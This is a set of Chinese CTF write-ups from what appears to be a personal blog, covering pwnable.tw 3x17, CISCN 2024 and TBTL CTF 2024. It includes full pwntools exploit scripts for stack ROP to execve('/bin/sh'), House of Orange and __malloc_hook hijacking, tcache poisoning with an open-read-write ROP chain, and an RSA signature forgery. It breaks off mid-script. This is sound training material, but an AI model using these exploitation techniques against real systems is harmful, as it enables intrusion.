3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

PIE 未启用：不用泄露程序基地址
canary 未启用：如果有栈溢出可以直接利用
静态链接：没有 libc

程序功能分析
#

  if ( byte_4B9330 == 1 )
  {
    write_func(1u, "addr:", 5uLL);
    read_func(0, buf, 0x18uLL);
    v4 = (char *)(int)bytes_to_addr(buf);
    write_func(1u, "data:", 5uLL);
    read_func(0, v4, 0x18uLL);
    result = 0;
  }

程序很直接地提供了一次任意地址写的机会，又称 Write What Where (WWW) 。不过我们没有栈空间地址泄露，因此暂时无法直接利用栈来直接控制代码流。

GOT 表劫持？没有 system 函数。但是 Partial RELRO 可不仅仅意味着可以利用 GOT 表劫持，也意味着可以使用 fini_array 劫持。

`.fini_array`
#

.fini_array 是什么？简单来说，它是一个函数指针数组，一旦程序退出就会运行其中的函数，不过是按倒序方式，例如先运行 .fini_array[1] 再运行 .fini_array[0] 。只要我们能覆写该数组中的函数指针，我们就能劫持代码流。

无限循环
#

很多时候题目（例如这题）中的漏洞指利用一次是不够我们 capture the flag 的，因此我们需要达到漏洞的重复利用。以这题为例，我们可以构造：.fini_array[0] == __libc_csu_fini &&.fini_array[1] == main

当程序退出时，先执行 main 函数，任意写包含于其中（尽管会检查0x4B9330地址处是否为1，但其类型为 byte/uint8，因此1+16 == 1，我们不必担心）。
然后执行 __libc_csu_fini 函数。该函数的作用就是调用所有 .fini_array 中的函数，于是回到步骤1。因此形成了无限循环。

如何定位`.fini_array`和`__libc_csu_fini` 的地址？
#

readelf -S ./3x17 | grep .fini_array

-S 可以显示各个段的 header 。

在 start 函数中找到：

  sub_401EB0(
    (unsigned int)main,
    v4,
    (unsigned int)&retaddr,
    (unsigned int)sub_4028D0,
    (unsigned int)sub_402960,
    a3,
    (__int64)&v5);
  __halt();

# in the `start`, there is a `_libc_start_main`
# the `_libc_start_main`'s 4th and 5th arg is `_libc_csu_init`, `_libc_csu_fini`

根据经验sub_401EB0为__libc_start_main，而__libc_start_main 的第 4 和第 5 个参数分别是 __libc_csu_init 和 __libc_csu_fini。

ROP
#

我们现在拥有了无限次任意地址写的机会，也知道如何利用 .fini_array 来劫持代码流，接下来做什么？

首先，静态链接的 ELF 最不缺的就是 gadgets。我们很容易找到 pop 各种寄存器以及 syscall 的 gadgets。很容易构造 ROP chain 。那么离 get shell 就只差——栈。

我们需要将 ROP chain 放到栈上去。__libc_csu_fini 函数为我们创造了条件：

push    rbp
lea     rax, unk_4B4100
lea     rbp, off_4B40F0
push    rbx
...

以上是 __libc_csu_fini 函数的开头，其中lea rbp, off_4B40F0中的0x4B40F0就是 .fini_array 的起始地址。换言之，在运行完 __libc_csu_fini 函数后，rbp 的值为 .fini_array 的起始地址。接下来只要利用 leave ; ret 就可以让返回地址为 fini_array + 0x8。因为 leave == mov rsp, rbp ; pop rbp。

mov rsp, rbp : rsp = rbp = .fini_array
pop rbp : rbp = .fini_array[0], rsp = .fini_array + 0x8
ret : rip = rsp = .fini_array + 0x8

因此只要令.fini_array[0] 处为leave ; ret gadget 的地址，且从.fini_array + 0x8 开始为 ROP chain 即可 get shell 。

exploit
#

由于只是一道 150 分的题，根据 pwnable.tw 的规则可以公开代码用于参考：

#!/usr/bin/env python3

from pwn import *

exe = ELF("./3x17")

context.binary = exe

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("chall.pwnable.tw", 10105)

    return r

def www(r,addr,data):
    r.sendafter(b"addr:",str(addr).encode())
    r.sendafter(b"data:",data)


def main():
    args.LOCAL = False
    r = conn()
    # `readelf -S ./3x17` to find the addr of .fini_array
    # in the `start`, there is a `__libc_start_main`
    # the `__libc_start_main`'s 4th and 5th arg is `__libc_csu_init`, `__libc_csu_fini`

    fini_array = 0x4b40f0
    libc_csu_fini = 0x402960
    main = 0x401b6d
    leave_ret_addr = 0x401c4b
    pop_rdi = 0x401696
    pop_rsi = 0x406c30
    pop_rdx = 0x446e35
    pop_rax = 0x41e4af
    syscall = 0x4022b4

    # stage1: eternal loop
    www(r,fini_array,flat(libc_csu_fini,main))

    # stage2: rop chain
    www(r, fini_array + 0x10, flat(fini_array+0x50, pop_rsi, 0))
    www(r, fini_array + 0x28, flat(pop_rdx, 0, pop_rax))
    www(r, fini_array + 0x40, flat(0x3b, syscall) + b'/bin/sh\x00')
    www(r, fini_array, flat(leave_ret_addr, pop_rdi))

    r.interactive()

if __name__ == "__main__":
    main()

第十七届全国大学生信息安全竞赛创新实践能力赛初赛 Writeup

root@beacox.space (BeaCox) — Mon, 20 May 2024 12:00:00 +0000

梦开始的比赛。去年纯小白直接参赛，结果自然是被血虐。之后开始慢慢学，今年总算是做出些题。不过难一些的 PWN 题还是做不出……（），就多练。

Misc
#

火锅链观光打卡
#

签到题。

浏览器安装一个 MetaMask 钱包用于区块链操作。连接钱包后答题，收集任意7个不同食材图片后，点击兑换 NFT ，得到含 flag 的图片: 得到 flag ：

flag{y0u_ar3_hotpot_K1ng}

Power_Trajectory_Diagram
#

这是一道基于功耗分析的侧信道攻击题，搜索相关关键词，在看雪上找到一篇文章。根据文章内容可知，输入密码逐位比对，输入正确时和错误时功耗曲线有明显不同。

将得到的 npz 加载后打印数据，发现一共有13*40组数据，40对应着40个字符，猜测13为密码位数。打印所有功耗曲线，可以发现：每40组曲线中，会有一组曲线的最大波动处横坐标明显右移，例如上图第37组曲线最大波动处相比于第36组以及其他1-40组的最大波动处都有一定程度右移。推测是密码错误时会出现最大波动，而第37组最大波动右移代表着当前输入的密码字符是正确的，错误发生在下一位。使用这种方法可以找到每40组曲线中最特殊的一组，并映射为相应的字符。（除了第481组到第520组，因此认为密码只有12位) 特殊曲线到字符的映射脚本如下：

data = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r',
's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'_', '!', '@', '#']

list = [
37,
43,
89,
139,
163,
214,
277,
309,
347,
389,
431,
477
]

password = ''
for i in range(12):
    tmp = list[i] - i*40 -1
    print(tmp)
    password += data[tmp]

print(password)

得到结果_ciscn_2024_，因此 flag 为：

flag{_ciscn_2024_}

Crypto
#

古典密码
#

题目给了一个字符串AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9，没有说明经过何种处理。放到 CyberChef 选择 Encrption / Encoding 逐个尝试，用 Atbash Cipher 解密后 Base64 解码，得到：

fa{2b838a-97ad-e9f743lgbb07-ce47-6e02804c}

根据题目的提示想到栅栏密码，将字符串对半分，然后Z形拼接就能得到 flag：

flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

Reverse
#

gdb_debug
#

IDA反编译，注意到程序中设置随机数种子的代码：

v3 = time(0LL);
srand(v3 & 0xF0000000);

实际上随机数种子恒为0x60000000，因此该程序中的随机数都可以确定，可以使用 ctypes 来调用 libc 库设置相应的随机数种子，获取每一次调用 rand() 返回的随机数。剩下的就是根据反编译的程序使用 z3 进行约束求解，exp 如下：

from pwn import *
from z3 import *
from ctypes import *

libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0x60000000)

# Initialization
flag_len = 38
solver = Solver()

# Create a list of BitVec variables to represent the flag
flag_chars = [BitVec(f'flag_{i}', 8) for i in range(flag_len)]

# Add constraints
solver.add(flag_chars[0] == ord('f'))
solver.add(flag_chars[1] == ord('l'))
solver.add(flag_chars[2] == ord('a'))
solver.add(flag_chars[3] == ord('g'))
solver.add(flag_chars[4] == ord('{'))
solver.add(flag_chars[flag_len-1] == ord('}'))

# Step 1: XOR with rand
v28 = [BitVec(f'v28_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
    random_val = libc.rand() & 0xff
    solver.add(v28[i] == flag_chars[i] ^ random_val)

# Step 2: Shuffle array s
ptr = [i for i in range(flag_len)]
k = flag_len - 1
while k >= 0:
    v18 = (libc.rand() % (k + 1)) & 0xff
    v19 = ptr[k]
    ptr[k] = ptr[v18]
    ptr[v18] = v19
    k -= 1

val1 = [
0xd8, 0xe0, 0x19, 0xe8, 0xcd, 0x9f, 0x6d, 0x65,
0xb8, 0x11, 0x81, 0xc8, 0x6e, 0xd0, 0xdb, 0xf8,
0x6b, 0xf9, 0x7d, 0xd2, 0xd6, 0xd5, 0x0f, 0x89,
0x1e, 0x34, 0x6a, 0xc5, 0xfd, 0xc1, 0xe9, 0x26,
0xd0, 0xba, 0xfa, 0x99, 0xe7, 0x06
]

val2 = [0x6, 0x4a, 0x5b, 0x14, 0xc4, 0x77, 0xdf, 0x63, 0xb5, 0x82, 0xe0, 0x3c, 0x4a, 0x99, 0xce, 0xf9, 0xbc, 0x52, 0x79, 0xca, 0x19, 0x3c, 0xda, 0x1f, 0x2d, 0xfe, 0x93, 0xef, 0xa3, 0x2b, 0xc4, 0x1a, 0x44, 0xd5, 0xc2, 0x4, 0xbf, 0xec]

random_vals = [0] * flag_len
for i in range(flag_len):
    random_vals[i] = val1[i] ^ val2[i]

# *((_BYTE *)v31 + m) = *((_BYTE *)v28 + *((unsigned __int8 *)ptr + m));
v31 = [BitVec(f'v31_{i}', 8) for i in range(flag_len)]
for m in range(flag_len):
    solver.add(v31[m] == (v28[ptr[m]] ) ^ (random_vals[m]) & 0xff)

# s1[ii] = *((_BYTE *)v31 + ii) ^ v32[ii];
v32 = [0xBF, 0xD7, 0x2E, 0xDA, 0xEE, 0xA8, 0x1A, 0x10, 0x83, 0x73, 0xAC, 0xF1, 0x06, 0xBE, 0xAD, 0x88, 0x04, 0xD7, 0x12, 0xFE, 0xB5, 0xE2, 0x61, 0xB7, 0x3D, 0x07, 0x4A, 0xE8, 0x96, 0xA2, 0x9D, 0x4D, 0xBC, 0x81, 0x8C, 0xE9, 0x88, 0x78]
s1 = [BitVec(f's1_{i}', 8) for i in range(flag_len)]
for i in range(flag_len):
    solver.add(s1[i] == v31[i] ^ v32[i])

s2 = "congratulationstoyoucongratulationstoy"
for i in range(flag_len):
    solver.add(s1[i] == ord(s2[i]))

if solver.check() == sat:
    model = solver.model()
    flag = ''.join([chr(model[flag_chars[i]].as_long()) for i in range(flag_len)])
    print(f'flag: {flag}')
else:
    print('unsat')

其中第三次获取38个随机数时，我使用 ctypes 得到的随机数与实际的随机数不符，因此直接在 gdb 中打印 v31 这个数组在与随机数异或前后的值，得到第三轮的38个随机数。不清楚是什么导致了这种差异，但或许这就是题目提示“动静结合”的原因？最后得到flag：

flag{78bace5989660ee38f1fd980a4b4fbcd}

Pwn
#

gostack
#

一道简单的栈溢出+ROP题目，一开始被 golang 唬住了，逆向了一会儿没找到缓冲区的大小，然后直接在 gdb 中看就清楚多了。首先checksec：

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

有栈溢出 + 没有canary + 没有PIE + gadgets = 简单 ROP 找到要用的gadgets，构造 ROP chain ；在 gdb 中计算出缓冲区开头与返回地址的距离为0x1d0字节，加上填充就得到 payload。exp 如下：

from pwn import *

context.binary = binary = ELF('./gostack')
# context.log_level = 'critical'

syscall = 0x0000000000404043
pop_rax = 0x000000000040f984
pop_rsi = 0x000000000042138a
pop_rdx = 0x00000000004944ec
pop_rdi_r14_r13_r12_rbp_rbx = 0x00000000004a18a5
read_func = 0x46178d
bss = binary.bss()

# p = binary.process()
p = remote('8.147.129.254', 29507)
# read(0, bss, 0x100)
rop_chain = flat(pop_rdi_r14_r13_r12_rbp_rbx, 0, 0, 0, 0, 0, 0, pop_rsi, bss, pop_rdx, 8, read_func)
# execve(bss, 0, 0)
rop_chain += flat(pop_rdi_r14_r13_r12_rbp_rbx, bss, 0, 0, 0, 0, 0, pop_rsi, 0, pop_rdx, 0, pop_rax, 59, syscall)
payload = b'\x00' * 0x1d0 + rop_chain
payload = payload.ljust(0x1000, b'\x00')
p.recvuntil(b'message :')
# gdb.attach(p, '''b *0x4a0a9e''')
p.sendline(payload)
p.recvuntil(b'message :')
p.sendline(b'/bin/sh\x00')
p.interactive()

有 syscall 但是没有 syscall ; ret ，因此我们的 ROP chain 最多只能有一次 raw syscall ，因此 read 选择使用函数地址而不是 raw syscall。get shell 之后得到 flag ：

flag{08c559f9-81f7-4c74-a983-9eb59502de34}

orange_cat_diary
#

首先用 IDA 反编译程序，在程序中发现以下漏洞：

heap overflow（8字节的溢出）
UAF（只能使用一次，因为只能 delete 一次）
- write after free
- read after free

再根据题目名称的提示可以知道，可以使用 House of Orange 进行攻击（利用 heap overflow 和 read after free），泄露出 libc 地址和堆地址。由于 libc 的版本为2.23，因此最简便的方法就是劫持 __malloc_hook 。使用 pwndbg 的 find_fake_fast 命令找到用于覆盖 __malloc_hook 内容的 fast bin 地址，然后利用 write after free 劫持 fast bin ，使其返回该 chunk ，然后将__realloc_hook写为one_gadget，将__malloc_hook写为realloc，这样做更容易满足one_gadget条件。利用代码如下：

from pwn import *

# all protections are enabled
# heap overflow
# we can only use show and delete once

context.binary = binary = ELF('./orange_cat_diary')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x3c5158
malloc_hook_offset = 0x3c4b10
one_gadget_offset = 0xf1247

# p = binary.process()
p = remote('8.147.129.254', 25553)
p.recvuntil(b'Please tell me your name.\n')
p.sendline(b'BeaCox')

def menu():
    p.recvuntil(b'###orange_cat_diary###')
    p.recvuntil(b'Please input your choice:')

def add(size, content):
    menu()
    p.sendline(b'1')
    p.recvuntil(b'Please input the length of the diary content:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Please enter the diary content:\n')
    p.send(content)

def show():
    menu()
    p.sendline(b'2')

def delete():
    menu()
    p.sendline(b'3')

def edit(size, content):
    menu()
    p.sendline(b'4')
    p.recvuntil(b'Please input the length of the diary content:')
    p.sendline(str(size).encode())
    p.recvuntil(b'Please enter the diary content:\n')
    p.send(content)

# House of Orange
add(0x400-8, b'A'*(0x400-16) + p64(0x0))
payload = b'A'*(0x400-16) + p64(0x0) + p64(0xc01)
edit(0x400, payload)
add(0x1000, b'\n')
add(0x68, b'\n')
show()
p.recv(8)
libc_leak = u64(p.recv(8))
info(f'libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
info(f'libc_base: {hex(libc.address)}')
malloc_hook_addr = libc.symbols['__malloc_hook']
info(f'malloc_hook_addr: {hex(malloc_hook_addr)}')
fake_bin_addr = malloc_hook_addr - 0x23
heap_leak = u64(p.recv(8))
info(f'heap_leak: {hex(heap_leak)}')
one_gadget = libc.address + one_gadget_offset
info(f'one_gadget: {hex(one_gadget)}')
realloc = libc.sym['realloc']
info(f'realloc: {hex(realloc)}')

# overwrite __malloc_hook and __realloc_hook
delete()
edit(0x68, p64(fake_bin_addr) + p64(fake_bin_addr) + b'\n')
add(0x68, cyclic(0x68))
payload = b'a'*0xb + p64(one_gadget) + p64(realloc)
add(0x68, payload + b'\n')
# gdb.attach(p, '')
p.send(b'1')

p.interactive()

get shell 并得到 flag ：

flag{2a6de11d-8a93-484d-9444-7d1046c55134}

EzHeap
#

我刚开始放 payload 的堆选了0x80大小，根本放不下 ROP chain ，直接导致比赛结束时没来得及将这题做完，赛后十来分钟改了个大小就打通了。

又一道堆题，但是使用 seccomp 限制了系统调用：

$ seccomp-tools dump ./EzHeap
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010
 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010
 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010
 0008: 0x15 0x01 0x00 0x0000000a  if (A == mprotect) goto 0010
 0009: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL

因此很容易想到先用 mprotect 更改页面权限，然后 orw 直接读 flag。但是我最后没有使用 mprotect ，直接在栈上构造 ROP chain 来进行 orw 。

分析程序，发现漏洞：

极大 heap overflow
输入无 0 截断可导致相邻内存泄漏

而且最多允许我们 malloc 80个堆块，因此应该有不少利用方法。我主要利用 tcache poisoning 。攻击思路如下：

首先利用堆溢出和相邻内存泄露，通过程序内已经有的 unsorted bins 等堆块，泄露 libc 和 heap 地址
计算 libc 中 __environ 的地址，利用 tcache poisoning 获得该地址处的堆块进行读，泄露 stack 地址

libc 版本为2.35，因此要手动 safe link
在某个堆块中写入 flag\x00 用于 orw ，搜集 gadgets 构造 ROP chain 。值得注意的是不能直接调用库函数 orw ，因为库函数的open 往往使用 openat 系统调用，会被禁止。因此我直接选择全部使用 syscall ; ret gadget ，这也是导致我 payload 巨大的原因。
在 malloc_heap 操作对应函数的 ret 处下断点，计算此时 stack 地址与泄露 stack 地址的偏移，然后再利用 tcache poisoning 获得目标地址附近（target_stack-0x8，因为要16字节对齐且不能破坏canary）的堆块进行写。payload 为 8 字节的 rbp 填充加上 ROP chain 。malloc_heap 返回时会被劫持到该 ROP chain 。

exp 如下：

from pwn import *

context.binary = binary = ELF('./EzHeap')
libc = binary.libc
# context.log_level = 'critical'

libc_offset = 0x21ace0
heap_offset = 0x1040
tcache_50_offset = 0x4d0
tcache_110_offset = 0x2420
heap_flag_offset = 0x2420
stack_offset = 0x170

# p = binary.process()
p = remote('8.147.133.76', 13951)

def menu():
    p.recvuntil(b'choice >> ')

def malloc_heap(size, content):
    menu()
    p.sendline(b'1')
    p.recvuntil(b'size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'content:')
    p.send(content)

def free_heap(index):
    menu()
    p.sendline(b'2')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())

def edit_heap(index, size, content):
    menu()
    p.sendline(b'3')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())
    p.recvuntil(b'size:')
    p.sendline(str(size).encode())
    p.recvuntil(b'content:')
    p.send(content)

def show_heap(index):
    menu()
    p.sendline(b'4')
    p.recvuntil(b'idx:')
    p.sendline(str(index).encode())

def exit_program():
    menu()
    p.sendline(b'5')

def mangle(pos, ptr, page_offset=0):
    return ((pos >> 12) + page_offset) ^ ptr

def demangle(ptr, page_offset=0):
    pos = (ptr >> 12) + page_offset
    m = pos ^ ptr
    return m >> 24 ^ m

def leak_heap_libc():
    global heap_leak, libc_leak
    # idx 0
    malloc_heap(0x40, b'A'*0x40)
    edit_heap(0, 0x50, b'A'*0x50)
    show_heap(0)
    p.recvuntil(b'A'*0x50)
    libc_leak = u64(p.recv(6).ljust(8, b'\x00'))
    edit_heap(0, 0xd0, b'B'*0xd0)
    show_heap(0)
    p.recvuntil(b'B'*0xd0)
    heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
    payload = b'A'*0x40 + p64(0) + p64(0xa1) + p64(libc_leak) + p64(libc_leak)
    payload = payload.ljust(0xd0, b'\x00')
    edit_heap(0, 0xd0, payload)

### stage1: leak libc and heap
leak_heap_libc()
info(f'[LEAK] heap_leak: {hex(heap_leak)}')
info(f'[LEAK] libc_leak: {hex(libc_leak)}')
libc.address = libc_leak - libc_offset
heap_base = heap_leak - heap_offset
info(f'[CALC] libc_base: {hex(libc.address)}')
info(f'[CALC] heap_base: {hex(heap_base)}')
environ_addr = libc.sym['__environ']
info(f'[CALC] environ_addr: {hex(environ_addr)}')

### stage2: leak stack
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2
malloc_heap(0x40, b'C'*0x40)
free_heap(2)
free_heap(1)
mangled_environ_addr = mangle(heap_base + tcache_50_offset, environ_addr - 0x40)
info(f'[CALC] mangled_environ_addr: {hex(mangled_environ_addr)}')
payload = 0x40 * b'A' + p64(0) + p64(0x51) + p64(mangled_environ_addr)
edit_heap(0, 0x58, payload)
# idx1
malloc_heap(0x40, b'B'*0x40)
# idx2(environ_addr - 0x40)
malloc_heap(0x40, b'C'*0x40)
show_heap(2)
p.recvuntil(b'C'*0x40)
stack_leak = u64(p.recv(6).ljust(8, b'\x00'))
info(f'[LEAK] stack_leak: {hex(stack_leak)}')

### stage3: overwrite stack with rop chain
# idx3
malloc_heap(0x100, b'D'*0x100)
# idx4
malloc_heap(0x100, b'E'*0x100)
# idx5
malloc_heap(0x100, b'F'*0x100)
free_heap(5)
free_heap(4)
target_stack = stack_leak - stack_offset
info(f'[CALC] target_stack: {hex(target_stack)}')
mangled_stack = mangle(heap_base + tcache_110_offset, target_stack-0x8)
info(f'[CALC] mangled_stack: {hex(mangled_stack)}')
payload = 0x100 * b'A' + p64(1) + p64(0x91) + p64(mangled_stack)
edit_heap(3, 0x118, payload)
# idx4
# gdb.attach(p)
malloc_heap(0x100, b'flag\x00'.ljust(0x100, b'\x00'))
# idx5(target_stack-0x20)
payload = p64(stack_leak)
flag_addr = heap_base + heap_flag_offset
rop = ROP(libc)
# raw orw
syscall_gadget = rop.find_gadget(['syscall', 'ret']).address
pop_rax = rop.find_gadget(['pop rax', 'ret']).address
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address
# pop_rdx = rop.find_gadget(['pop rdx', 'ret']).address
pop_rdx_r12 = libc.address + 0x000000000011f2e7
# open('flag.txt', 0, 0)
payload += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0) + p64(0)+ p64(pop_rax) + p64(2) + p64(syscall_gadget)
# read(3, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(0) + p64(syscall_gadget)
# write(1, target_stack+0x100, 0x100)
payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(target_stack+0x100) + p64(pop_rdx_r12) + p64(0x100) + p64(0)+ p64(pop_rax) + p64(1) + p64(syscall_gadget)
payload += rop.chain()
payload = payload.ljust(0x100, b'\x00')
# gdb.attach(p, 'b *$rebase(0x16cd)')
malloc_heap(0x100, payload)
flag = p.recvuntil(b'}')
success(f'[FLAG] {flag.decode()}')

最后得到 flag ：

flag{c9112d19-27e3-41ec-9957-fefb3f109229}

TBTL CTF 2024 WriteUp

root@beacox.space (BeaCox) — Mon, 13 May 2024 14:45:00 +0000

前言
#

在 discord 上认识了一群来自世界各地的 ctfer，不过大家都不是什么老赛棍，just ctf for fun! 有人在频道里提议参加TBTL CTF 2024，然后就组了个队。比赛时间2天，实际上没什么时间打，做了几个方向的新手友好题。不过队里有个哥们 web 方向 3/4，最后队伍排名36。

Tower of Babel
#

这是一道简单的社工题。

mp3 文件里有这道题的提示：

该标志的格式如常，我们的合作伙伴云海连锁控股有限公司总部位于海南岛海口附近。找到距离他们的办事处最近的银行。标志内的内容是该银行的统一社会信用代码。代码已以91开始，以56结束。

首先搜这家公司，可以通过这个网站找到其地址，打开高德地图搜索“云海链8831栋”可以找到该公司位置，然后再搜周边——银行，可以看到最近的银行是海南澄迈农村商业银行股份有限公司科技支行。

然后我们搜索其社会信用代码，得到91469027MA5TRBAW56。

因此 flag 为 TBTL{91469027MA5TRBAW56}。

Wikipedia Signatures
#

这是一道非常简单的数字签名攻击题目。我们的目标是获取bytes_to_long(b'I challenge you to sign this message!')的数字签名。同时，我们可以提供任何消息给签名者进行数字签名，因此很容易想到这是 RSA 数字签名中的选择消息攻击。

我们假设m = bytes_to_long(b'I challenge you to sign this message!') ，我们的目标是获取其数字签名：

$ s = m^{d};mod;n$

首先，我们让签名者为任意选择的消息 m1 进行签名（这里我选用m1 = bytes_to_long(b'BeaCox')），获取对应的签名：

$$s_1=m_{1}^{d};mod;n$$
然后，我们计算

$$m_2:=m⋅m_{1}^{−1};mod;n$$

并让签名者为其签名，得到

$$s_2=m_2^d;mod;n$$
由于

$$s≡s1⋅s2≡m_1^d⋅m_2^d≡m_1^d⋅(m⋅m_1^{-1})^d≡m_1^d⋅m^d⋅m_1^{-d}≡m^d;(mod;n)$$

我们很容易得到

$$s=s1⋅s2;mod;n$$

利用代码如下：

# https://crypto.stackexchange.com/questions/35644/chosen-message-attack-rsa-signature
from pwn import *
from Crypto.Util.number import inverse, bytes_to_long

p = remote('0.cloud.chals.io', 31148)

def find_m2(m, n, m1):
    m1_inv = inverse(m1, n)
    m2 = (m * m1_inv) % n
    return m2

def get_n():
    p.recvuntil(b"RSA public key: (")
    n = p.recvuntil(b",", drop=True)
    p.recvuntil(b'Sign any other message using wikipedia-RSA')
    return int(n)

def menu():
    p.recvuntil(b'> ')

def sign(message):
    menu()
    p.sendline(f'2 {message}'.encode())
    return int(p.recvline().strip())

def win(signature):
    menu()
    p.sendline(f'1 {signature}'.encode())

m = bytes_to_long(b'I challenge you to sign this message!')
n = get_n()
m1 = bytes_to_long(b'BeaCox')
m2 = find_m2(m, n, m1)

s1 = sign(m1)
s2 = sign(m2)
signature = (s1 * s2) % n
win(signature)
p.interactive()
# TBTL{r3p347_4f73r_m3-d16174l_516n47ur3_15_n07_3ncryp710n}

Floo Powder
#

这是一道简单的逆向题。从 ida 获取静态的数组，然后根据反编译的代码写 z3 的约束，编写 python 脚本来得到正确的输入。

# input is 31*31 bit(0 or 1) string
from pwn import *
from z3 import *

data = [
    0x04CA4952, 0x69745A2A, 0x434A2A90, 0x36D0A9C7, 0x1002DAC8,
    0x04933AEB, 0x71A29525, 0x6DA8D531, 0x69259680, 0x2179213C,
    0x5D8A6097, 0x6ACA2822, 0x5495ED02, 0x255A2CD5, 0x16B5625A,
    0x2E8A8ABA, 0x2D6F5EB4, 0x557CD952, 0x2CB4E495, 0x020D29B9,
    0x0E8B2854, 0x4646C159, 0x47749281, 0x54229D46, 0x6C1CD620,
    0x07F80EFF, 0x04AD46A4, 0x32EBC04E, 0x4FAC1623, 0x600E1F04,
    0x24CD3000
]

# z3 init the input
input = [BitVec(f"input{i}", 1) for i in range(31*31)]
s = Solver()

def important_func(o_i, i_i, count):
    # print(f"index1: {index1}, index2: {index2}")
    # ( (input[31 * o_i + i_i] == 49) == (((data[count / 31] >> (31 - count % 31 - 1)) & 1) != 0) )
    s.add((input[31 * o_i + i_i] == 1) == (((data[count // 31] >> (31 - count % 31 - 1)) & 1) != 0))

outside_index = 0
inside_index = 0
count = 0
v9 = 1

while (outside_index < 31 and inside_index < 31):
    important_func(outside_index, inside_index, count)
    count += 1
    if v9 == 1:
        v10 = outside_index - 1
        v11 = inside_index + 1
    else:
        v10 = outside_index + 1
        v11 = inside_index - 1

    if v10 < 0 or v10 == 31 or v11 < 0 or v11 == 31:
        if v9 == 1:
            outside_index += inside_index == 30
            inside_index += inside_index < 30
        else:
            inside_index += outside_index == 30
            outside_index += outside_index < 30
        v9 = 1 - v9
    else:
        outside_index = v10
        inside_index = v11

flag = ""
if s.check() == sat:
    m = s.model()
    for i in range(31*31):
        flag += str(m[input[i]])
    print(flag)

我们会得到一个 31*31 的由0和1组成的矩阵：

0000000000000000000000000000000
0111111100100011010010011111110
0100000101101100111100010000010
0101110100111001100001010111010
0101110101101010111100010111010
0101110100010110000001010111010
0100000101010011100001010000010
0111111101010101010101011111110
0000000000000100110111000000000
0111110111110110001011101010100
0001001010100010010001111111100
0101000110101111111101001100000
0100110011111000100100100110100
0001010101101010101111001011000
0000011001110110011001000101000
0111000100100011101001010111000
0111110001010100010000011110110
0100101111000111000000000110100
0101101000100011011011101110100
0100011100011101101001111011000
0101100011011001100001101010100
0100100100111000110001111101000
0000000001010110000111000101000
0111111101100011110011010100000
0100000100000110010101000100000
0101110101000101101101111111110
0101110101000000010011101110110
0101110101111100100111011100100
0100000101101001110010101000100
0111111101111000111110011111000
0000000000000000000000000000000

可以看到这个矩阵的周围一圈都是0，如果把周围这一圈0都去掉，那么就是一个29*29的矩阵。把0看成白色，1看成黑色，那么这个矩阵看起来就是一个29*29的第三代二维码，写脚本将01矩阵转换为二维码图片：

# convert to qrcode
from PIL import Image
MAX = 31
pic = Image.new("RGB",(MAX, MAX))
i=0
for y in range (0,MAX):
    for x in range (0,MAX):
        if(flag[i] == '1'):
            pic.putpixel([x,y],(0, 0, 0))
        else:
            pic.putpixel([x,y],(255,255,255))
        i = i+1
pic.show()
pic.save("flag.png")
# TBTL{Wh47_D1d_H3_5aY_D34r?_D14g0nal1y...}

扫描二维码就可以获得 flag 。

Enough with the averages
#

这是一道利用了scanf函数特性的pwn题。

这道题允许我们输入20个4字节长的整数，然后输出这20个整数的平均值。但是存储这些整数的内存区域含有先前读取的flag。

这个程序使用20个 __isoc99_scanf("%d", &v3[i]); 来读取我们的输入。如果我们输入了一个字符，那么从此以后的scanf都会直接返回-1，导致对应内存区域的4字节为原来的值，最终导致内存泄漏。

我的想法是：首先输入19个0，然后输入一个a，就可以得到目标内存区域的第20个4字节(data[19])；然后启动另一个程序，输入18个0，然后输入一个a，就可以得到data[18]+data[19]，计算可得data[18]，依次类推可以得到目标区域的所有20*4个字节。然后就可以重构出flag。

from pwn import *

context.binary = binary = ELF('./chall')
context.log_level = 'critical'

# we need record 20 int numbers
numbers = [0] * 20
sum = 0

def input(number):
    p.sendlineafter(b':', number)

def recv_average():
    p.recvuntil(b'Average score is ')
    byte_string = p.recvline().strip()[:-1]
    return float(byte_string)

